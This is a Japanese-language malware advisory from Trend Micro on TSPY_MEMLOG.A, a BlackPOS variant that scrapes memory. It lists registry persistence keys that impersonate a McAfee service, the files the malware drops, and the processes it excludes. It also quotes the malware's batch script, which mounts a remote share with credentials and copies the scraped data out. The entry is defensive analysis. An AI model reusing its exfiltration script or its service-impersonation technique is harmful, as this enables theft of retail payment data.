• Email
• Facebook
• Twitter
• Google+
• Linkedin

TSPY_MEMLOG.A

---

• マルウェアタイプ: スパイウェア
• 破壊活動の有無: なし
• 暗号化: なし
• 感染報告の有無: はい

---

  概要

トレンドマイクロは、このスパイウェアをNoteworthy（要注意）に分類しました。

スパイウェアは、特定の小売業のアカウントを標的とする「BlackPOS」の新しい亜種です。また、スパイウェアは、自身の検出の回避のため、セキュリティ対策ソフトウェアのサービスを装います。

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

---

  詳細

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のコンポーネントファイルを作成します。

• {malware path}\t.bat - deleted after execution
• t:\temp\dotnet\NDP45-KB2737084-x86.exe - contains copied contents of McTrayErrorLogging.dll
• {malware path}\McTrayErrorLogging.dll - contains data from scanned memory

自動実行方法

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ImagePath = "{malware path and filename} -service"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
DisplayName = "McAfee Framework Management Instrumentation"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Type = "10"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
ErrorControl = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc
Description = "Provides systems management information to and from McAfee Framework Objects"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc\Security
Security = "{value}"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\lanmanworkstation
DependOnService = "mcfmisvc"

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリキーを追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\mcfmisvc

その他

スパイウェアが作成する以下のコンポーネントファイルは、実行後削除されます。

• {malware path}\t.bat

スパイウェアが作成する以下のコンポーネントファイルは、"McTrayErrorLogging.dll"の内容のコピーを含みます。

• t:\temp\dotnet\NDP45-KB2737084-x86.exe

スパイウェアが作成する以下のコンポーネントファイルは、スキャンされるメモリからの情報を含みます。

• {malware path}\McTrayErrorLogging.dll

スパイウェアは、以下の変数のいずれかを受け取る可能性があります。

• -start
• -stop
• -install
• -uninstall
• -service

スパイウェアは、以下を除くすべての実行中プロセスのメモリを読み込みます。

• smss.exe
• csrss.exe
• wininit.exe
• services.exe
• lsass.exe
• svchost.exe
• winlogon.exe
• sched.exe
• spoolsv.exe
• System
• conhost.exe
• ctfmon.exe
• wmiprvse.exe
• mdm.exe
• taskmgr.exe
• explorer.exe
• RegSrvc.exe
• firefox.exe
• chrome.exe

作成されたコンポーネント"t.bat"は、"McTrayErrorLogging.dll"の内容を以下へコピーします。

• t:\temp\dotnet\NDP45-KB2737084-x86.exe

スパイウェアは、特定のユーザを利用して共有化された場所を開き、ファイルを転送するために利用されます。スパイウェアは、以下のコマンドを含みます。

set src=t:\temp\dotnet\NDP45-KB2737084-x86.exe
net use t: \\{BLOCKED}.{BLOCKED}.2.153\d$ {BLOCKED}! /user:{BLOCKED}0.{BLOCKED}4.2.{BLOCKED}3\{BLOCKED}1
if exist %src% (
type McTrayErrorLogging.dll >> t:\temp\dotnet\NDP45-KB2737084-x86.exe.del /F /Q McTrayErrorLogging.dll
)
net use t: /DEL /yes
del /F /Q t.bat

---

  対応方法

ご利用はいかがでしたか？　アンケートにご協力ください